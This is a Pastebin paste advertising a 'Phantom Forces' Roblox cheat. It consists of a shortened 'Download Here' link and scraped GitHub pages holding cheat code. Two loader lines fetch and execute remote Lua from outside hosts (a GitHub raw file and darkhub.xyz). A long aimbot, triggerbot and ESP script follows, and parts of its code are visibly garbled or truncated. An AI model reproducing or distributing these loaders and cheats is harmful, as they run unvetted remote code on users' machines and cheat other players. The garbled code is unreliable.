Advertisement
Guest User

Phantom forces script 2021

a guest
Nov 11th, 2024
158
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 29.28 KB | None | 0 0
  1. -
  2. Download Here --> https://tinyurl.com/rhf4x3dp (Copy and Paste Link)
  3.  
  4.  
  5.  
  6.  
  7.  
  8.  
  9. Name already in use
  10. A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
  11. roblox-scripts / Phantom Forces Script | SILENT AIM & WALLBANG SUPER OP! OCTOBER 2021
  12. This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
  13.  
  14. Open with Desktop
  15. View raw
  16. Copy raw contents Copy raw contents Copy raw contents
  17. This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
  18. getgenv().Silent = true getgenv().Aimbone = "head" getgenv().FOV = 1000 -- // FeIix was here loadstring(game:HttpGet('https://raw.githubusercontent.com/Ihaveash0rtnamefordiscord/Releases/main/PhantomForcesWallbang'))(' Watermelon ? ')
  19. DinosaurXxX / Phantom Forces GUI
  20. This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
  21. local UIS = game:GetService('UserInputService') local RS = game:GetService('RunService') local Players = game:GetService('Players') local StarterGui = game:GetService('StarterGui') local Player = Players.LocalPlayer local Studio = RS:IsStudio() local PlayerGui = RS:IsStudio() and Player:WaitForChild('PlayerGui') or game.CoreGui local Mouse = Player:GetMouse() local old_icon = Mouse.Icon local Camera = workspace.CurrentCamera targetpart = 'Head' -- Don't change this. -- It can be changed with the targetpart_change hotkey ingame. local target local target_old local alert = false local lockedon = false local settingkey = false local upvals = nil local val = 1 local windows = local function hb() RS.Heartbeat:wait() end local version = 1.25 local Spawn = nil or game.PlaceId == 292439477 local spawned = false script.Name = 'GameSense!' Mouse.TargetFilter = Camera -- hotkey toggle_aim = Enum.UserInputType.MouseButton2 toggle_aimbot = Enum.KeyCode.LeftAlt toggle_trigger = Enum.KeyCode.RightAlt toggle_esp = Enum.KeyCode.End toggle_gui = Enum.KeyCode.F6 toggle_bottompos = Enum.KeyCode.F7 toggle_performance = Enum.KeyCode.F8 toggle_bones = Enum.KeyCode.Delete toggle_chams = Enum.KeyCode.F3 toggle_tracers = Enum.KeyCode.F2 toggle_boxes = Enum.KeyCode.F4 toggle_font = Enum.KeyCode.F1 ffatoggle = Enum.KeyCode.Home targetpart_change = Enum.KeyCode.BackSlash priority_toggle = Enum.KeyCode.Insert sethotkey = Enum.KeyCode.RightControl -- aim fov fov_increase = Enum.KeyCode.KeypadPlus fov_decrease = Enum.KeyCode.KeypadMinus -- aim sens (how smooth your crosshair will move) sens_increase = Enum.KeyCode.RightBracket sens_decrease = Enum.KeyCode.LeftBracket -- parts parts = 'Head'; 'Torso' > fonts = Enum.Font.SourceSansBold, Enum.Font.Cartoon, Enum.Font.Arcade, Enum.Font.SciFi, Enum.Font.Fantasy, Enum.Font.Code, Enum.Font.Highway, Enum.Font.Bodoni > textSet = false currentfont = 1 ffa = false hidden = false performancemode = false -- aim fov = 5 sens = .25 drop = .45 aim_toggled = false bottompos = true aim_priority = 2 -- [2] FOV or [1] Distance aimingcolor = Color3.fromRGB(0,165,255) aimbot_toggled = true aim_line = true locksoundid = 538769304 mouseiconid = 18671553 -- trigger trigger_toggled = false trigger_delay = 1/20 -- esp esp_toggled = true esp_bones = false esp_chams = true esp_tracers = true -- item_esp (coming soon) linesize = 1 showdists = true textsize = 14 textoffset = 20 visiblecolor = Color3.fromRGB(38,255,99) hiddencolor = Color3.fromRGB(255,37,40) headboxsize = 4 headboxaimsize = 6 headboxshape = 'diamond' -- rectangle or diamond -- box esp bounding_box = true -- box_pointsize = 0 [UNUSED] box_line_size = 1 -- box_line_size_visible = 2 [UNUSED] local GUI = Instance.new('ScreenGui',PlayerGui) GUI.Name = 'GameSense '..version GUI.ResetOnSpawn = false ESP = Instance.new('Folder',GUI) ESP.Name = 'ESP' local Bottom = Instance.new('Frame',ESP) Bottom.Name = 'Bottom' Bottom.BackgroundTransparency = 1 Bottom.Size = UDim2.new(0,1,0,1) Bottom.Position = UDim2.new(.5,0,1,1) local Status = Instance.new('TextLabel',GUI) Status.Name = 'Status' Status.BackgroundTransparency = 1 Status.Size = UDim2.new(0,500,0,50) Status.Position = UDim2.new(.5,-250,.85,0) Status.TextSize = 24 Status.Font = Enum.Font.SourceSansBold Status.TextColor3 = Color3.new(1,1,1) Status.TextStrokeColor3 = Color3.new(0,0,0) Status.TextStrokeTransparency = .6 Status.Text = 'On Standby' Status.ZIndex = 50 local Credits = Status:Clone() Credits.Name = 'Credits' Credits.Parent = GUI Credits.Position = UDim2.new(.5,-250,.85,-20) Credits.TextSize = 16 Credits.Text = 'GameSense '..version..' by Avexus!' local FovGui = Instance.new('ImageLabel',GUI) FovGui.Name = 'FovGui' FovGui.Image = 'rbxassetid://324848180' FovGui.Size = UDim2.new(0,(Camera.ViewportSize.X/(90/fov))*2,0,(Camera.ViewportSize.X/(90/fov))*2) FovGui.Position = UDim2.new(0.5,-FovGui.AbsoluteSize.X/2,0.5,-FovGui.AbsoluteSize.Y/2) FovGui.BackgroundTransparency = 1 FovGui.ImageTransparency = .9 FovGui.ImageColor3 = Color3.new(1,0,0) local Indicator = Instance.new('TextLabel',GUI) Indicator.Name = 'Indicator' Indicator.Font = Enum.Font.SourceSans Indicator.TextSize = 14 Indicator.TextXAlignment = Enum.TextXAlignment.Center Indicator.TextYAlignment = Enum.TextYAlignment.Center Indicator.TextStrokeTransparency = .75 Indicator.Text = aim_priority>1 and 'FOV: '..fov or 'Distance' local SensAdjust = Instance.new('TextBox',GUI) SensAdjust.Name = 'SensAdjust' SensAdjust.Font = Enum.Font.SourceSans SensAdjust.BackgroundTransparency = .75 SensAdjust.BackgroundColor3 = Color3.new(0,0,0) SensAdjust.BorderColor3 = Color3.new(1,1,1) SensAdjust.Size = UDim2.new(0,50,0,20) SensAdjust.TextStrokeTransparency = .6 SensAdjust.TextColor3 = Color3.new(1,1,1) SensAdjust.TextSize = 14 SensAdjust.PlaceholderText = 'Sens' SensAdjust.Text = tonumber(sens) SensAdjust.Position = Credits.Position + UDim2.new(0,250,0,75) local SensLabel = Instance.new('TextLabel',SensAdjust) SensLabel.Name = 'SensLabel' SensLabel.Font = Enum.Font.SourceSans SensLabel.Size = UDim2.new(1,0,1,0) SensLabel.BackgroundTransparency = 1 SensLabel.TextSize = 14 SensLabel.TextColor3 = Color3.new(1,1,1) SensLabel.TextStrokeColor3 = Color3.new(0,0,0) SensLabel.TextStrokeTransparency = .6 SensLabel.Text = 'Sens:' SensLabel.Position = UDim2.new(-1,0,0,0) SensLabel.TextXAlignment = Enum.TextXAlignment.Left local FovAdjust = SensAdjust:Clone() FovAdjust.Parent = GUI FovAdjust.PlaceholderText = 'FOV' FovAdjust.Name = 'FovAdjust' FovAdjust.Text = tonumber(fov) FovAdjust.Position = SensAdjust.Position + UDim2.new(0,0,0,20) FovAdjust.SensLabel.Name = 'FovLabel' FovAdjust.FovLabel.Text = 'Fov:' local DropAdjust = SensAdjust:Clone() DropAdjust.Parent = GUI DropAdjust.PlaceholderText = 'Drop' DropAdjust.Name = 'DropAdjust' DropAdjust.Text = tonumber(drop) DropAdjust.Position = SensAdjust.Position + UDim2.new(0,0,0,40) DropAdjust.SensLabel.Name = 'DropLabel' DropAdjust.DropLabel.Text = 'Drop:' local KeysList = Instance.new('TextLabel',GUI) KeysList.Name = 'KeysList' KeysList.Font = Enum.Font.SourceSans KeysList.TextStrokeTransparency = .6 KeysList.TextSize = 14 KeysList.TextColor3 = Color3.new(1,1,1) KeysList.Size = UDim2.new(0,0,1,0) KeysList.Position = UDim2.new(0,5,0,-280) KeysList.BackgroundTransparency = 1 KeysList.Active = false KeysList.TextXAlignment = Enum.TextXAlignment.Left KeysList.TextYAlignment = Enum.TextYAlignment.Bottom KeysList.Text = 'AimBot Toggle: '..toggle_aimbot.Name..'\nAim Toggle: '..toggle_aim.Name..'\nAim Part Toggle: '..targetpart_change.Name..'\nPriority Toggle: '..priority_toggle.Name ..'\nESP Toggle: '..toggle_esp.Name..'\nBones Toggle: '..toggle_bones.Name..'\nChams Toggle: '..toggle_chams.Name..'\nBoxes Toggle: '..toggle_boxes.Name..'\nFOV Increase: '..fov_increase.Name..'\nFOV Decrease: '..fov_decrease.Name..'\nSens Increase: ' ..sens_increase.Name..'\nSens Decrease: '..sens_decrease.Name..'\nTrigger Toggle: '..toggle_trigger.Name..'\nFFA Toggle: '..ffatoggle.Name..'\nHide Cheats: '..toggle_gui.Name ..'\nChange ESP Origin: '..toggle_bottompos.Name..'\nPerformance Mode: '..toggle_performance.Name..'\nChange Font: '..toggle_font.Name local n = 0 spawn(function() while Status do Indicator.TextColor3 = Color3.fromHSV(n,.5,1) FovGui.ImageColor3 = Indicator.TextColor3 if not textSet then if aim_toggled and target then Status.TextColor3 = aimingcolor Status.Text = ('Aiming at '..target.Name) else Status.TextColor3 = Color3.fromHSV(n,.5,1) Status.Text = 'On Standby' end end n = (n+.005)%1 hb() end end) SensAdjust.InputEnded:Connect(function() if SensAdjust.Text~='' then sens = tonumber(SensAdjust.Text)>0 and tonumber(SensAdjust.Text) or sens end end) FovAdjust.InputEnded:Connect(function() if FovAdjust.Text~='' then fov = tonumber(FovAdjust.Text)>0 and tonumber(FovAdjust.Text) or fov FovGui:TweenSize(UDim2.new(0,(Camera.ViewportSize.X/(90/fov))*2,0,(Camera.ViewportSize.X/(90/fov))*2),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,.1,true) end end) DropAdjust.InputEnded:Connect(function() if DropAdjust.Text~='' then drop = tonumber(DropAdjust.Text)>=0 and tonumber(DropAdjust.Text) or drop end end) local function distfromspawn(x) if Spawn then return x:DistanceFromCharacter(Spawn.Position) else return 201 end end local function setText(text) spawn(function() textSet = true Status.Text = text Status.TextColor3 = Color3.new(1,1,1) wait(#text/4) textSet = false end) end local function playsound(id) local sound = Instance.new('Sound',Camera) sound.SoundId = 'rbxassetid://'..id sound.Volume = 3 sound:Play() game:GetService('Debris'):AddItem(sound,5) end playsound(1168009121) Mouse.Icon = 'rbxassetid://'..mouseiconid local function Notification(. ) playsound(140910211) StarterGui:SetCore('SendNotification'. ) end local function DrawLine(Folder,P1,P2,Thickness,Color,LineTransparency,BorderThickness,BorderColor) -- Declare variables local Point1,Point2 = P1.Position,P2.Position if Point1 and Point2 then local X,Y = Camera.ViewportSize.X, Camera.ViewportSize.Y local X1,X2 = (X * Point1.X.Scale + Point1.X.Offset + P1.Size.X.Offset/2), (X * Point2.X.Scale + Point2.X.Offset + P2.Size.X.Offset/2) local Y1,Y2 = (Y * Point1.Y.Scale + Point1.Y.Offset + P1.Size.Y.Offset/2), (Y * Point2.Y.Scale + Point2.Y.Offset + P2.Size.Y.Offset/2) local MidX,MidY = (X1+X2)/2, (Y1+Y2)/2 -- Set defaults to prevent errors Thickness = Thickness or 1 Color = Color or Color3.new(1,1,1) LineTransparency = LineTransparency or 0 BorderThickness = BorderThickness or 0 BorderColor = BorderColor or Color3.new(0,0,0) -- Draw the line local Line = Folder:FindFirstChild(P1.Name..'-'..P2.Name) or Instance.new('Frame',Folder) Line.Visible = false Line.BackgroundTransparency = LineTransparency Line.BorderSizePixel = BorderThickness Line.BorderColor3 = BorderColor Line.Size = UDim2.new(0,(Vector2.new(X1,Y1) - Vector2.new(X2,Y2)).magnitude-1,0,Thickness) Line.Position = UDim2.new(0,MidX-Line.AbsoluteSize.X/2,0,MidY-Line.AbsoluteSize.Y) Line.BackgroundColor3 = Color Line.Rotation = math.deg(math.atan2((Y2-Y1),(X2-X1))) Line.Name = P1.Name..'-'..P2.Name Line.Visible = true return Line else return nil end end local function GetNearest(Mode) local lowest,nearest,gui = math.huge,nil,nil if Mode==1 then for _,plr in next,Players:GetPlayers() do if plr.Name~=Player.Name and plr.Character~=nil and plr.Character:FindFirstChild(targetpart) then local dist = Player:DistanceFromCharacter(plr.Character[targetpart].Position) local ray = Ray.new(Player.Character.Head.Position,(plr.Character[targetpart].Position-Player.Character.Head.Position).unit*5000) local part,point = workspace:FindPartOnRayWithIgnoreList(ray,) local Z = Camera:WorldToScreenPoint(plr.Character[targetpart].Position).Z if part and part:IsDescendantOf(plr.Character) and Z>0 and dist end end elseif Mode==2 then for _,plr in next,Players:GetPlayers() do if plr.Name~=Player.Name and plr.Character~=nil and plr.Character:FindFirstChild(targetpart) then local pos = Camera:WorldToScreenPoint(plr.Character[targetpart].Position) local ray = Ray.new(Player.Character[targetpart].Position,(plr.Character[targetpart].Position-Player.Character[targetpart].Position).unit*2048) local part,point = workspace:FindPartOnRayWithIgnoreList(ray,) local dist = (Vector2.new(Mouse.X,Mouse.Y)-Vector2.new(pos.X,pos.Y)).magnitude if part and part:IsDescendantOf(plr.Character) and pos.Z>0 and dist end end end return nearest end Mouse.Move:Connect(function() cursor = ESP:FindFirstChild('Cursor') or Instance.new('Frame',ESP) cursor.Name = 'Cursor' cursor.BackgroundTransparency = 1 cursor.Size = UDim2.new(0,1,0,1) cursor.Position = UDim2.new(0,Mouse.X,0,Mouse.Y) end) UIS.InputBegan:Connect(function(Input) if Input.KeyCode == toggle_aim or Input.UserInputType == toggle_aim then aim_toggled = true warn('GS: aim toggled',aim_toggled and 'on' or 'off') alert = true while aim_toggled and aimbot_toggled do target = GetNearest(aim_priority) if target then local dist = Player:DistanceFromCharacter(target[targetpart].Position) local headpos = Camera:WorldToScreenPoint(target[targetpart].Position+Vector3.new(0,dist/(100/drop),0)) local moveto = Vector2.new((headpos.X-Mouse.X)*sens,(headpos.Y-Mouse.Y)*sens) aimpos = GUI:FindFirstChild('AimPos') or Instance.new('Frame',GUI) if not GUI:FindFirstChild('AimPos') then aimpos.Name = 'AimPos' aimpos.BorderSizePixel = 1 aimpos.BorderColor3 = Color3.new(0,0,0) aimpos.BackgroundTransparency = 0 aimpos.BackgroundColor3 = Color3.new(1,1,1) aimpos.Rotation = 45 aimpos.ZIndex = 4 aimpos.Size = UDim2.new(0,3,0,3) end aimpos.Position = UDim2.new(0,headpos.X-aimpos.AbsoluteSize.X/2,0,headpos.Y-aimpos.AbsoluteSize.Y/2) aimpos.Visible = true mousemoverel(moveto.X,moveto.Y) if alert or target~=target_old then playsound(locksoundid) print('GS: locked onto',target.Name) lockedon = true alert = false end end RS.Heartbeat:wait() target_old = target if aimpos then aimpos.Visible = false end end lockedon = false elseif Input.KeyCode == toggle_trigger then trigger_toggled = not trigger_toggled setText('Toggled TriggerBot '..(trigger_toggled and 'On' or 'Off')) Notification() warn('trigger toggled',trigger_toggled and 'on' or 'off') local Box = Instance.new('SelectionBox',PlayerGui) Box.Color3 = Color3.new(1,0,0) Box.LineThickness = .05 Box.Adornee = nil if trigger_delay>0 then wait(trigger_delay) end while trigger_toggled do local Target = Mouse.Target local plr = Players:FindFirstChild(Target.Parent.Name) if Target and Target.Parent and plr~=nil and plr~=Player and ffa or plr~=nil and plr.TeamColor~=Player.TeamColor then Box.Adornee = Mouse.Target mouse1press() wait() mouse1release() end RS.Heartbeat:wait() end Box:Destroy() elseif Input.KeyCode == toggle_esp then esp_toggled = not esp_toggled Notification() setText('Toggled ESP '..(esp_toggled and 'On' or 'Off')) elseif Input.KeyCode == toggle_aimbot then aimbot_toggled = not aimbot_toggled Notification() setText('Toggled AimBot '..(aimbot_toggled and 'On' or 'Off')) elseif Input.KeyCode == fov_increase then fov = fov + .5 FovAdjust.Text = tonumber(fov) if FovGui.Visible then FovGui:TweenSize(UDim2.new(0,(Camera.ViewportSize.X/(90/fov))*2,0,(Camera.ViewportSize.X/(90/fov))*2),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,.1,true) end setText('Aim FOV: '..fov) elseif Input.KeyCode == fov_decrease and fov>0 then fov = fov - .5 FovAdjust.Text = tonumber(fov) if FovGui.Visible then FovGui:TweenSize(UDim2.new(0,(Camera.ViewportSize.X/(90/fov))*2,0,(Camera.ViewportSize.X/(90/fov))*2),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,.1,true) end setText('Aim FOV: '..fov) elseif Input.KeyCode == sens_increase then sens = sens + .05 SensAdjust.Text = tonumber(sens) setText('Sens: '..sens) elseif Input.KeyCode == sens_decrease then sens = sens - .05 SensAdjust.Text = tonumber(sens) setText('Sens: '..sens) elseif Input.KeyCode == targetpart_change then val = val+1 targetpart = val if parts[1]==targetpart then val = 1 end Notification() setText('Target Part: '..targetpart) elseif Input.KeyCode == ffatoggle then ffa = not ffa Notification() setText('FFA Mode: '..(ffa and 'Enabled' or 'Disabled')) elseif Input.KeyCode == priority_toggle then aim_priority = aim_priority+1>2 and 0 or 1 aim_priority = aim_priority+1 FovGui.Visible = aim_priority>1 Notification() setText('Aim Priority: '..(aim_priority==1 and 'Distance' or 'FOV')) elseif Input.KeyCode == toggle_bones then esp_bones = not esp_bones if not esp_bones then for _,v in next,ESP:GetDescendants() do if v:IsA('Frame') and v.Name:match('-') then v:Destroy() end end end Notification() setText('Toggled ESP Bones '..(esp_bones and 'Enabled' or 'Disabled')) elseif Input.KeyCode == toggle_gui then hidden = not hidden for _,gui in next,GUI:GetDescendants() do if gui:IsA('GuiObject') and not hidden and not gui.Visible then gui.Visible = true Mouse.Icon = 'rbxassetid://'..mouseiconid elseif gui:IsA('GuiObject') and gui.Visible then gui.Visible = false esp_toggled = false Mouse.Icon = old_icon end end elseif Input.KeyCode == toggle_bottompos then bottompos = not bottompos if bottompos then Bottom.Position = UDim2.new(.5,0,1,1) end elseif Input.KeyCode == toggle_performance then performancemode = not performancemode setText('Performance Mode '..(performancemode and 'Enabled' or 'Disabled')) elseif Input.KeyCode == toggle_chams then esp_chams = not esp_chams setText('Chams '..(esp_chams and 'Enabled' or 'Disabled')) Notification() elseif Input.KeyCode == toggle_tracers then esp_tracers = not esp_tracers setText('Tracers '..(esp_chams and 'Enabled' or 'Disabled')) Notification() elseif Input.KeyCode == toggle_boxes then bounding_box = not bounding_box setText('Bounding Boxes '..(bounding_box and 'Enabled' or 'Disabled')) Notification() elseif Input.KeyCode == toggle_font then currentfont = (currentfont+1)>#fonts and 1 or currentfont+1 for _,v in next,GUI:GetDescendants() do if v.Name~='KeysList' then if v:IsA('TextLabel') or v:IsA('TextButton') then v.Font = fonts[currentfont] end end end end end) UIS.InputEnded:Connect(function(Input) if Input.KeyCode == toggle_aim or Input.UserInputType == toggle_aim then aim_toggled = false end end) local function checkifspawned(x) spawned = false while not spawned and game.PlaceId==292439477 do spawned = distfromspawn(x)>200 and true or false wait(1/5) end spawned = true end checkifspawned(Player) Player.CharacterAdded:Connect(function(c) checkifspawned(Player) for _,v in next,ESP:GetDescendants() do if v:IsA('Frame') and v.Name:match('-') then v:Destroy() end end end) Notification() wait(.5) Notification() wait(.5) Notification() wait(.5) Notification() RS.RenderStepped:Connect(function() if cursor then FovGui.Position = cursor.Position-UDim2.new(0,FovGui.AbsoluteSize.X/2,0,FovGui.AbsoluteSize.Y/2) Indicator.Position = cursor.Position+UDim2.new(0,0,0,40) end end) Mouse.Button1Down:Connect(function() spawn(function() if FovGui.Visible then FovGui:TweenSize(UDim2.new(0,Camera.ViewportSize.X/(90/fov)*2.35,0,Camera.ViewportSize.X/(90/fov)*2.35),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,.1,true) wait(.1) FovGui:TweenSize(UDim2.new(0,Camera.ViewportSize.X/(90/fov)*2,0,Camera.ViewportSize.X/(90/fov)*2),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,.1,true) end end) end) while true do Indicator.Text = (aim_priority>1 and 'FOV: '..fov or 'Distance') ..'\nSens: '..sens..(aim_toggled and '\nAiming' or '') if not bottompos then Bottom.Position = cursor.Position end if esp_toggled then for _,v in next,ESP:children() do if v~=Bottom and not Players:FindFirstChild(v.Name) then v:Destroy() end end for _,v in next,Players:GetPlayers() do local Char = v.Character if Char and spawned and v~=Player and Char:FindFirstChild(targetpart) and distfromspawn(v)>100 then if ffa or v.TeamColor~=Player.TeamColor then local X = Camera:GetPartsObscuringTarget(,) local Dist = Player:DistanceFromCharacter(Char:FindFirstChild(targetpart).Position) local Color = hiddencolor local Folder = ESP:FindFirstChild(v.Name) or Instance.new('Folder',ESP) Folder.Name = v.Name -- ESP local Head = Folder:FindFirstChild('Head') or Instance.new('Frame',Folder) if not Folder:FindFirstChild('Head') then Head.Name = 'Head' Head.BorderSizePixel = 1 Head.BorderColor3 = Color3.new(0,0,0) Head.BackgroundTransparency = 0 end Head.BackgroundColor3 = #X>0 and hiddencolor or #X==0 and visiblecolor Head.Rotation = headboxshape=='diamond' and 45 or 0 Head.ZIndex = 3 local HP = Folder:FindFirstChild('HP') or Instance.new('TextLabel',Folder) if not Folder:FindFirstChild('HP') then HP.Name = 'HP' HP.TextTransparency = Head.BackgroundTransparency-.4 HP.Font = fonts[currentfont] HP.TextStrokeTransparency = .6 HP.BackgroundTransparency = 1 HP.TextSize = 14 end HP.Text = showdists and Char.Name..'\n'..math.floor(Dist+.5) or Char.Name if aim_toggled and target==Char then Head.Size = UDim2.new(0,headboxaimsize,0,headboxaimsize) Head.BackgroundColor3 = aimingcolor HP.Text = showdists and '['..Char.Name..']'..'\n'..math.floor(Dist+.5) or '['..Char.Name..']' HP.TextSize = 16 else Head.Size = UDim2.new(0,headboxsize,0,headboxsize) end HP.TextColor3 = Head.BackgroundColor3 local toScreen = Camera:WorldToScreenPoint(Char[targetpart].CFrame.p) if #X==0 then Color = visiblecolor end Head.Position = UDim2.new(0,toScreen.X-Head.Size.X.Offset/2,0,toScreen.Y-Head.Size.Y.Offset/2) HP.Position = Head.Position-UDim2.new(0,0,0,textoffset) if esp_tracers then local Line = DrawLine(Folder,ESP.Bottom,Head,linesize,Head.BackgroundColor3,.75,1,Color3.new(0,0,0)) Line.Visible = Head.Visible else local imtired = Folder:FindFirstChild(ESP.Bottom.Name..'-'..Head.Name) if imtired then imtired:Destroy() end end if toScreen.Z HP.Visible = Head.Visible if Char:FindFirstChild('Humanoid') and Char.Humanoid.RigType==Enum.HumanoidRigType.R6 then local Neck = Folder:FindFirstChild('Neck') or Instance.new('Frame',Folder) Neck.Name = 'Neck' Neck.ZIndex = 2 if Char['Torso']~=nil then local Pos = (Char.Torso.CFrame*CFrame.new(0,.8,0)).p local X,Y,Z = Camera:WorldToScreenPoint(Pos).X,Camera:WorldToScreenPoint(Pos).Y,Camera:WorldToScreenPoint(Pos).Z Neck.Position = UDim2.new(0,X,0,Y) Neck.BorderSizePixel = 0 if Z else Neck.Visible = false end -- local Pelvis = Folder:FindFirstChild('Pelvis') or Instance.new('Frame',Folder) Pelvis.Name = 'Pelvis' Pelvis.ZIndex = 2 Pelvis.BorderSizePixel = 0 if Char['Torso']~=nil then local Pos = (Char.Torso.CFrame*CFrame.new(0,-1,0)).p local X,Y,Z = Camera:WorldToScreenPoint(Pos).X,Camera:WorldToScreenPoint(Pos).Y,Camera:WorldToScreenPoint(Pos).Z Pelvis.Position = UDim2.new(0,X,0,Y) if Z else Pelvis.Visible = false end -- local RightFoot = Folder:FindFirstChild('Right Foot') or Instance.new('Frame',Folder) RightFoot.Name = 'Right Foot' RightFoot.ZIndex = 2 RightFoot.BorderSizePixel = 0 if Char['Right Leg']~=nil then local Pos = (Char['Right Leg'].CFrame*CFrame.new(0,-1,0)).p local X,Y,Z = Camera:WorldToScreenPoint(Pos).X,Camera:WorldToScreenPoint(Pos).Y,Camera:WorldToScreenPoint(Pos).Z RightFoot.Position = UDim2.new(0,X,0,Y) if Z else RightFoot.Visible = false end -- local LeftFoot = Folder:FindFirstChild('Left Foot') or Instance.new('Frame',Folder) LeftFoot.Name = 'Left Foot' if Char['Left Leg']~=nil then local Pos = (Char['Left Leg'].CFrame*CFrame.new(0,-1,0)).p local X,Y,Z = Camera:WorldToScreenPoint(Pos).X,Camera:WorldToScreenPoint(Pos).Y,Camera:WorldToScreenPoint(Pos).Z LeftFoot.Position = UDim2.new(0,X,0,Y) LeftFoot.BorderSizePixel = 0 if Z else LeftFoot.Visible = false end -- local RightHand = Folder:FindFirstChild('Right Hand') or Instance.new('Frame',Folder) RightHand.Name = 'Right Hand' RightHand.ZIndex = 2 RightHand.BorderSizePixel = 0 if Char['Right Arm']~=nil then local Pos = (Char['Right Arm'].CFrame*CFrame.new(0,-1,0)).p local X,Y,Z = Camera:WorldToScreenPoint(Pos).X,Camera:WorldToScreenPoint(Pos).Y,Camera:WorldToScreenPoint(Pos).Z RightHand.Position = UDim2.new(0,X,0,Y) if Z else RightHand.Visible = false end -- local LeftHand = Folder:FindFirstChild('Left Hand') or Instance.new('Frame',Folder) LeftHand.Name = 'Left Hand' LeftHand.ZIndex = 2 LeftHand.BorderSizePixel = 0 if Char['Left Arm']~=nil then local Pos = (Char['Left Arm'].CFrame*CFrame.new(0,-1,0)).p local X,Y,Z = Camera:WorldToScreenPoint(Pos).X,Camera:WorldToScreenPoint(Pos).Y,Camera:WorldToScreenPoint(Pos).Z LeftHand.Position = UDim2.new(0,X,0,Y) if Z else LeftHand.Visible = false end -- draw joints if esp_bones then if Head.Visible then DrawLine(Folder,Head,Neck,1,Color3.new(1,1,1),Head.BackgroundTransparency) end if Neck.Visible then DrawLine(Folder,Neck,Pelvis,1,Color3.new(1,1,1),Head.BackgroundTransparency) end if Neck.Visible then DrawLine(Folder,Neck,RightHand,1,Color3.new(1,1,1),Head.BackgroundTransparency) end if Neck.Visible then DrawLine(Folder,Neck,LeftHand,1,Color3.new(1,1,1),Head.BackgroundTransparency) end if Pelvis.Visible then DrawLine(Folder,Pelvis,RightFoot,1,Color3.new(1,1,1),Head.BackgroundTransparency) end if Pelvis.Visible then DrawLine(Folder,Pelvis,LeftFoot,1,Color3.new(1,1,1),Head.BackgroundTransparency) end end end if esp_chams then for _,Part in next,Char:children() do if Part:IsA('BasePart') and Part.Name~='HumanoidRootPart' then local Adornment = Folder:FindFirstChild(Part.Name..'_Cham') or Instance.new('BoxHandleAdornment',Folder) if not Folder:FindFirstChild(Part.Name..'_Cham') then Adornment.Name = Part.Name..'_Cham' Adornment.Adornee = Part Adornment.AlwaysOnTop = true Adornment.Size = Part.Name=='Head' and Vector3.new(1,1,1) or Part.Size Adornment.ZIndex = 1 end Adornment.Color3 = Head.BackgroundColor3 end end else for _,v in next,Folder:GetDescendants() do if v.Name:match('Cham') then v:Destroy() end end end if bounding_box and Char:FindFirstChild('HumanoidRootPart') then local Box = Char:FindFirstChild('Box') or Instance.new('BillboardGui',Char) if not Char:FindFirstChild('Box') then Box.Name = 'Box' Box.Adornee = Char:FindFirstChild('HumanoidRootPart') Box.AlwaysOnTop = true Box.LightInfluence = 0 Box.StudsOffset = Vector3.new(0,-Box.Adornee.Size.Y/4,0) Box.Size = UDim2.new(4,1,5,1) local Top = Instance.new('Frame',Box) Top.Size = UDim2.new(1,0,0,box_line_size) Top.BorderSizePixel = 0 local Bot = Top:Clone() Bot.Position = UDim2.new(0,0,1,-box_line_size) Bot.Parent = Box local Left = Top:Clone() Left.Size = UDim2.new(0,1,1,0) Left.Parent = Box local Right = Left:Clone() Right.Position = UDim2.new(1,-box_line_size,0,0) Right.Parent = Box end for _,v in next,Box:children() do if v:IsA('Frame') then v.BackgroundColor3 = Head.BackgroundColor3 end end else local Box = Char:FindFirstChild('Box') if Box then Box:Destroy() end end if lockedon and target and aim_line and ESP:FindFirstChild(target.Name) then DrawLine(ESP,cursor,ESP:FindFirstChild(target.Name).Head,1,Head.BackgroundColor3,.5) end else if ESP:FindFirstChild(v.Name) then ESP:FindFirstChild(v.Name):Destroy() end end else if ESP:FindFirstChild(v.Name) then ESP:FindFirstChild(v.Name):Destroy() end end end else for _,v in next,ESP:children() do if v:IsA('Folder') then v:Destroy() end end end if performancemode then wait(1/(workspace:GetRealPhysicsFPS()*.75)) else RS.Stepped:wait() end end
  22. Name already in use
  23. A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
  24. Phantom-Forces-Aimbot-Hack-Script-Pastebin-2021 / exploit
  25. This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
  26. This hack allows you to aimbot, softaim, fly and much more really cool features. You will be able to dominate lobbies and increase your phantom forces level really fast
  27. 1 contributor
  28. Users who have contributed to this file
  29.  
  30. Open with Desktop
  31. View raw
  32. Copy raw contents Copy raw contents Copy raw contents
  33. This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode characters
  34. loadstring(game:HttpGet(("https://darkhub.xyz/remote-script.lua"), true))()
  35. Footer
  36. You can’t perform that action at this time.
  37. You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement